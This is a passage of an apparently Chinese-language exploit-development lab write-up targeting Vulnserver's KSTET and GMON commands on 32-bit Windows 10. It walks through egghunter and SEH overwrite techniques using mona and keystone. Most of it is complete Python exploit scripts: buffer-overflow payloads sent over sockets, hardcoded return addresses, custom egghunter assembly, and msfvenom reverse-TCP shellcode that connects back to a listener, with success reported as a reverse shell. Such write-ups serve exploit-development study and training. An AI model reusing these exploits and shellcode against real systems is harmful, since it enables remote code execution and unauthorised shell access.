shellcode += b"\x11\xf6\x2c\x99\xd8\xaa\xe5\xd5\x4f\x5a\x81"
shellcode += b"\xa0\x53\xd1\xd9\x25\xd4\x06\xa9\x44\xf5\x99"
shellcode += b"\xa1\x1e\xd5\x18\x65\x2b\x5c\x02\x6a\x16\x16"
shellcode += b"\xb9\x58\xec\xa9\x6b\x91\x0d\x05\x52\x1d\xfc"
shellcode += b"\x57\x93\x9a\x1f\x22\xed\xd8\xa2\x35\x2a\xa2"
shellcode += b"\x78\xb3\xa8\x04\x0a\x63\x14\xb4\xdf\xf2\xdf"
shellcode += b"\xba\x94\x71\x87\xde\x2b\x55\xbc\xdb\xa0\x58"
shellcode += b"\x12\x6a\xf2\x7e\xb6\x36\xa0\x1f\xef\x92\x07"
shellcode += b"\x1f\xef\x7c\xf7\x85\x64\x90\xec\xb7\x27\xfd"
shellcode += b"\xc1\xf5\xd7\xfd\x4d\x8d\xa4\xcf\xd2\x25\x22"
shellcode += b"\x7c\x9a\xe3\xb5\x83\xb1\x54\x29\x7a\x3a\xa5"
shellcode += b"\x60\xb9\x6e\xf5\x1a\x68\x0f\x9e\xda\x95\xda"
shellcode += b"\x31\x8a\x39\xb5\xf1\x7a\xfa\x65\x9a\x90\xf5"
shellcode += b"\x5a\xba\x9b\xdf\xf2\x51\x66\x88\x3c\x0d\x65"
shellcode += b"\xc1\xd5\x4c\x75\xc0\x79\xd8\x93\x88\x91\x8c"
shellcode += b"\x0c\x25\x0b\x95\xc6\xd4\xd4\x03\xa3\xd7\x5f"
shellcode += b"\xa0\x54\x99\x97\xcd\x46\x4e\x58\x98\x34\xd9"
shellcode += b"\x67\x36\x50\x85\xfa\xdd\xa0\xc0\xe6\x49\xf7"
shellcode += b"\x85\xd9\x83\x9d\x3b\x43\x3a\x83\xc1\x15\x05"
shellcode += b"\x07\x1e\xe6\x88\x86\xd3\x52\xaf\x98\x2d\x5a"
shellcode += b"\xeb\xcc\xe1\x0d\xa5\xba\x47\xe4\x07\x14\x1e"
shellcode += b"\x5b\xce\xf0\xe7\x97\xd1\x86\xe7\xfd\xa7\x66"
shellcode += b"\x59\xa8\xf1\x99\x56\x3c\xf6\xe2\x8a\xdc\xf9"
shellcode += b"\x39\x0f\xfc\x1b\xeb\x7a\x95\x85\x7e\xc7\xf8"
shellcode += b"\x35\x55\x04\x05\xb6\x5f\xf5\xf2\xa6\x2a\xf0"
shellcode += b"\xbf\x60\xc7\x88\xd0\x04\xe7\x3f\xd0\x0c"



nops = b'\x90'*4
junk = b"A"*(70-len(egghunter)-4)
eip = struct.pack("<L", 0x625011af) # jmp esp
stage = b"\x83\xC0\x06" #add eax,0x06
stage += b"\xFF\xE0" #jmp eax
others = b"C"*(100-70-4-len(stage))

PAYLOAD1 = (
b'TRUN /.:/'+
shellcode)

PAYLOAD2 = (
b'KSTET ' +
junk +
nops +
egghunter +
eip +
nops +
stage +
others
)


with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD1)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD2)

成功反弹shell

egghunter

参考:

1.https://epi052.gitlab.io/notes-to-self/blog/2020-05-19-osce-exam-practice-part-five/

2.https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

3.https://blog.cyber-f0x.co.uk/Vulnserver-KSTET/

4.https://captmeelo.com/exploitdev/osceprep/2018/06/29/vulnserver-kstet.html

本次实验讨论在Win10 21h2 x86系统下关闭DEP,利用SEH+egghunter完成。

FUZZ、OFFSET、坏字符确定可以参考之前分析的文章,这里直接进入egghunter技术的使用。

首先,需要确定在Win10 21h1 x86系统下egghunter代码中的函数调用号,以AccessCheckAndAuditAlarm为例,mona生成的egghunter payload使用的是AccessCheckAndAuditAlarm函数。

来看一下本机AccessCheckAndAuditAlarm的函数调用号:

seh

可以看到系统调用号1C8h

来看一下DisplayString的系统调用号:

seh

可以看到系统调用号143h

来看一下mona生成egghunter payload的命令:

1
!py mona.py egg -t w00t -cpb \x00

seh

注意看,egghunter payload32bytes,但是最后输出前面增加了\xcc,这里不用管它,真正用到的时候去掉它即可。这里生成的是AccessCheckAndAuditAlarm函数的egghunter payload,系统调用号不对。

换一种方式生成egghunter。看一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from keystone import *

CODE = (
# We use the edx register as a memory page counter
" "
" loop_inc_page: "
# Go to the last address in the memory page
" or dx, 0x0fff ;"
" loop_inc_one: "
# Increase the memory counter by one
" inc edx ;"
" loop_check: "
# Save the edx register which holds our memory
# address on the stack
" push edx ;"
# Push the system call number win10 NtAccessCheckAndAuditAlarm 0x1c8h
" push 0x1c8 ;"
# Initialize the call to NtAccessCheckAndAuditAlarm
" pop eax ;"
# Perform the system call
" int 0x2e ;"
# Check for access violation, 0xc0000005
# (ACCESS_VIOLATION)
" cmp al,05 ;"
# Restore the edx register to check later
# for our egg
" pop edx ;"
" loop_check_valid: "
# If access violation encountered, go to n
# ext page
" je loop_inc_page ;"
" is_egg: "
# Load egg (w00t in this example) into
# the eax register
" mov eax, 0x74303077 ;"
# Initializes pointer with current checked
# address
" mov edi, edx ;"
# Compare eax with doubleword at edi and
# set status flags
" scasd ;"
# No match, we will increase our memory
# counter by one
" jnz loop_inc_one ;"
# First part of the egg detected, check for
# the second part
" scasd ;"
# No match, we found just a location
# with half an egg
" jnz loop_inc_one ;"
" matched: "
# The edi register points to the first
# byte of our buffer, we can jump to it
" jmp edi ;"
)

# Initialize engine in 32bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
egghunter = ""
for dec in encoding:
egghunter += "\\x{0:02x}".format(int(dec)).rstrip("\n")

print("egghunter = (\"" + egghunter + "\")")

得到的egghunter payload如下所示:

seh

注意看,其中包含截断字符。进一步验证\x00生成自下列汇编指令:

seh

这里有个小技巧可以规避这种问题的出现,先来看一下:

seh

所以之前的push 0x1c8;pop eax可以转换成等价的两条指令:

1
2
mov eax,0xfffffe38
neg eax

来看一下新的egghunter payload

seh

在前一篇文章中,发现栈空间最后部分空间不足,但是没有计算具体的数目。这里结合mona来确定具体的数字。

先发送让程序崩溃的程序,注意里面使用了msf-pattern-create生成的5000字节的随机字符串,方便后续mona进行确认。

1
2
3
4
5
6
7
8
9
10
11
12
import socket

HOST = '192.168.13.201'
PORT = 9999

PAYLOAD = (
b'GMON /.:/' +
b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk'
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

来看一下mona自动识别的结果:

seh

注意标红的部分,最后剩余的空间为44bytes,因为生成的egghunter只有36bytes,再加4\x90,最终40bytes,可以放在这个区域。

现在来看最后的利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import socket

HOST = '192.168.13.201'
PORT = 9999

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\xb8\x38\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7"

shellcode = b"w00tw00t"
shellcode += b"\xd9\xe9\xbd\x7c\xf8\xfd\xa2\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x17\x03\x68\x17"
shellcode += b"\x83\x94\x04\x1f\x57\x98\x1d\x62\x98\x60\xde"
shellcode += b"\x03\x10\x85\xef\x03\x46\xce\x40\xb4\x0c\x82"
shellcode += b"\x6c\x3f\x40\x36\xe6\x4d\x4d\x39\x4f\xfb\xab"
shellcode += b"\x74\x50\x50\x8f\x17\xd2\xab\xdc\xf7\xeb\x63"
shellcode += b"\x11\xf6\x2c\x99\xd8\xaa\xe5\xd5\x4f\x5a\x81"
shellcode += b"\xa0\x53\xd1\xd9\x25\xd4\x06\xa9\x44\xf5\x99"
shellcode += b"\xa1\x1e\xd5\x18\x65\x2b\x5c\x02\x6a\x16\x16"
shellcode += b"\xb9\x58\xec\xa9\x6b\x91\x0d\x05\x52\x1d\xfc"
shellcode += b"\x57\x93\x9a\x1f\x22\xed\xd8\xa2\x35\x2a\xa2"
shellcode += b"\x78\xb3\xa8\x04\x0a\x63\x14\xb4\xdf\xf2\xdf"
shellcode += b"\xba\x94\x71\x87\xde\x2b\x55\xbc\xdb\xa0\x58"
shellcode += b"\x12\x6a\xf2\x7e\xb6\x36\xa0\x1f\xef\x92\x07"
shellcode += b"\x1f\xef\x7c\xf7\x85\x64\x90\xec\xb7\x27\xfd"
shellcode += b"\xc1\xf5\xd7\xfd\x4d\x8d\xa4\xcf\xd2\x25\x22"
shellcode += b"\x7c\x9a\xe3\xb5\x83\xb1\x54\x29\x7a\x3a\xa5"
shellcode += b"\x60\xb9\x6e\xf5\x1a\x68\x0f\x9e\xda\x95\xda"
shellcode += b"\x31\x8a\x39\xb5\xf1\x7a\xfa\x65\x9a\x90\xf5"
shellcode += b"\x5a\xba\x9b\xdf\xf2\x51\x66\x88\x3c\x0d\x65"
shellcode += b"\xc1\xd5\x4c\x75\xc0\x79\xd8\x93\x88\x91\x8c"
shellcode += b"\x0c\x25\x0b\x95\xc6\xd4\xd4\x03\xa3\xd7\x5f"
shellcode += b"\xa0\x54\x99\x97\xcd\x46\x4e\x58\x98\x34\xd9"
shellcode += b"\x67\x36\x50\x85\xfa\xdd\xa0\xc0\xe6\x49\xf7"
shellcode += b"\x85\xd9\x83\x9d\x3b\x43\x3a\x83\xc1\x15\x05"
shellcode += b"\x07\x1e\xe6\x88\x86\xd3\x52\xaf\x98\x2d\x5a"
shellcode += b"\xeb\xcc\xe1\x0d\xa5\xba\x47\xe4\x07\x14\x1e"
shellcode += b"\x5b\xce\xf0\xe7\x97\xd1\x86\xe7\xfd\xa7\x66"
shellcode += b"\x59\xa8\xf1\x99\x56\x3c\xf6\xe2\x8a\xdc\xf9"
shellcode += b"\x39\x0f\xfc\x1b\xeb\x7a\x95\x85\x7e\xc7\xf8"
shellcode += b"\x35\x55\x04\x05\xb6\x5f\xf5\xf2\xa6\x2a\xf0"
shellcode += b"\xbf\x60\xc7\x88\xd0\x04\xe7\x3f\xd0\x0c"




junk = b"A"*(3547-len(shellcode))
nseh = b"\xeb\x06\x90\x90" #jump 8 bytes
# nseh = b"\xcc\xcc\xcc\xcc"
seh = b"\xb4\x10\x50\x62" #0x625010b4
nops = b"\x90"*4
others = b"C"*(5000-3547-4-4-len(egghunter)-4)
PAYLOAD = (
b'GMON /.:/' +
junk +
shellcode+
nseh +
seh +
nops +
egghunter +
others
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

成功反弹shell

seh

生成egghunter payload的时候,还有一种基于SEH生成egghunter payload的方法,不需要去纠正AccessCheckAndAuditAlarm的系统调用号,seh egghunter会自动处理。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from keystone import *

CODE = (
" start: "
# jump to a negative call to dynamically
# obtain egghunter position
" jmp get_seh_address ;"
" build_exception_record: "
# pop the address of the exception_handler
# into ecx
" pop ecx ;"
# mov signature into eax
" mov eax, 0x74303077 ;"
# push Handler of the
# _EXCEPTION_REGISTRATION_RECORD structure
" push ecx ;"
# push Next of the
# _EXCEPTION_REGISTRATION_RECORD structure
" push 0xffffffff ;"
# null out ebx
" xor ebx, ebx ;"
# overwrite ExceptionList in the TEB with a pointer
# to our new _EXCEPTION_REGISTRATION_RECORD structure
" mov dword ptr fs:[ebx], esp ;"
" sub ecx, 0x04 ;"
" add ebx, 0x04 ;"
" mov dword ptr fs:[ebx], ecx ;"
" is_egg: "
# push 0x02
" push 0x02 ;"
# pop the value into ecx which will act
# as a counter
" pop ecx ;"
# mov memory address into edi
" mov edi, ebx ;"
# check for our signature, if the page is invalid we
# trigger an exception and jump to our exception_handler function
" repe scasd ;"
# if we didn't find signature, increase ebx
# and repeat
" jnz loop_inc_one ;"
# we found our signature and will jump to it
" jmp edi ;"
" loop_inc_page: "
# if page is invalid the exception_handler will
# update eip to point here and we move to next page
" or bx, 0xfff ;"
" loop_inc_one: "
# increase ebx by one byte
" inc ebx ;"
# check for signature again
" jmp is_egg ;"
" get_seh_address: "
# call to a higher address to avoid null bytes & push
# return to obtain egghunter position
" call build_exception_record ;"
# push 0x0c onto the stack
" push 0x0c ;"
# pop the value into ecx
" pop ecx ;"
# mov into eax the pointer to the CONTEXT
# structure for our exception
" mov eax, [esp+ecx] ;"
# mov 0xb8 into ecx which will act as an
# offset to the eip
" mov cl, 0xb8 ;"
# increase the value of eip by 0x06 in our CONTEXT
# so it points to the "or bx, 0xfff" instruction
# to increase the memory page
" add dword ptr ds:[eax+ecx], 0x06 ;"
# save return value into eax
" pop eax ;"
# increase esp to clean the stack for our call
" add esp, 0x10 ;"
# push return value back into the stack
" push eax ;"
# null out eax to simulate
# ExceptionContinueExecution return
" xor eax, eax ;"
# return
" ret ;"
)

# Initialize engine in X86-32bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

egghunter = ""
for dec in encoding:
egghunter += "\\x{0:02x}".format(int(dec)).rstrip("\n")
print("egghunter = (\"" + egghunter + "\")")

看一下生成的egghunter seh payload

seh

这里生成的payload长度比42bytes要长,所以payload不能放在最后。这就变成了和之前stack pivot类似了,只要用stack pivot技术找到egghunter payload即可。

最终的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import socket

HOST = '192.168.13.204'
PORT = 9999

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'

egghunter = b"\xeb\x2a\x59\xb8\x77\x30\x30\x74\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"

shellcode = b"w00tw00t"
shellcode += b"\xd9\xe9\xbd\x7c\xf8\xfd\xa2\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x17\x03\x68\x17"
shellcode += b"\x83\x94\x04\x1f\x57\x98\x1d\x62\x98\x60\xde"
shellcode += b"\x03\x10\x85\xef\x03\x46\xce\x40\xb4\x0c\x82"
shellcode += b"\x6c\x3f\x40\x36\xe6\x4d\x4d\x39\x4f\xfb\xab"
shellcode += b"\x74\x50\x50\x8f\x17\xd2\xab\xdc\xf7\xeb\x63"
shellcode += b"\x11\xf6\x2c\x99\xd8\xaa\xe5\xd5\x4f\x5a\x81"
shellcode += b"\xa0\x53\xd1\xd9\x25\xd4\x06\xa9\x44\xf5\x99"
shellcode += b"\xa1\x1e\xd5\x18\x65\x2b\x5c\x02\x6a\x16\x16"
shellcode += b"\xb9\x58\xec\xa9\x6b\x91\x0d\x05\x52\x1d\xfc"
shellcode += b"\x57\x93\x9a\x1f\x22\xed\xd8\xa2\x35\x2a\xa2"
shellcode += b"\x78\xb3\xa8\x04\x0a\x63\x14\xb4\xdf\xf2\xdf"
shellcode += b"\xba\x94\x71\x87\xde\x2b\x55\xbc\xdb\xa0\x58"
shellcode += b"\x12\x6a\xf2\x7e\xb6\x36\xa0\x1f\xef\x92\x07"
shellcode += b"\x1f\xef\x7c\xf7\x85\x64\x90\xec\xb7\x27\xfd"
shellcode += b"\xc1\xf5\xd7\xfd\x4d\x8d\xa4\xcf\xd2\x25\x22"
shellcode += b"\x7c\x9a\xe3\xb5\x83\xb1\x54\x29\x7a\x3a\xa5"
shellcode += b"\x60\xb9\x6e\xf5\x1a\x68\x0f\x9e\xda\x95\xda"
shellcode += b"\x31\x8a\x39\xb5\xf1\x7a\xfa\x65\x9a\x90\xf5"
shellcode += b"\x5a\xba\x9b\xdf\xf2\x51\x66\x88\x3c\x0d\x65"
shellcode += b"\xc1\xd5\x4c\x75\xc0\x79\xd8\x93\x88\x91\x8c"
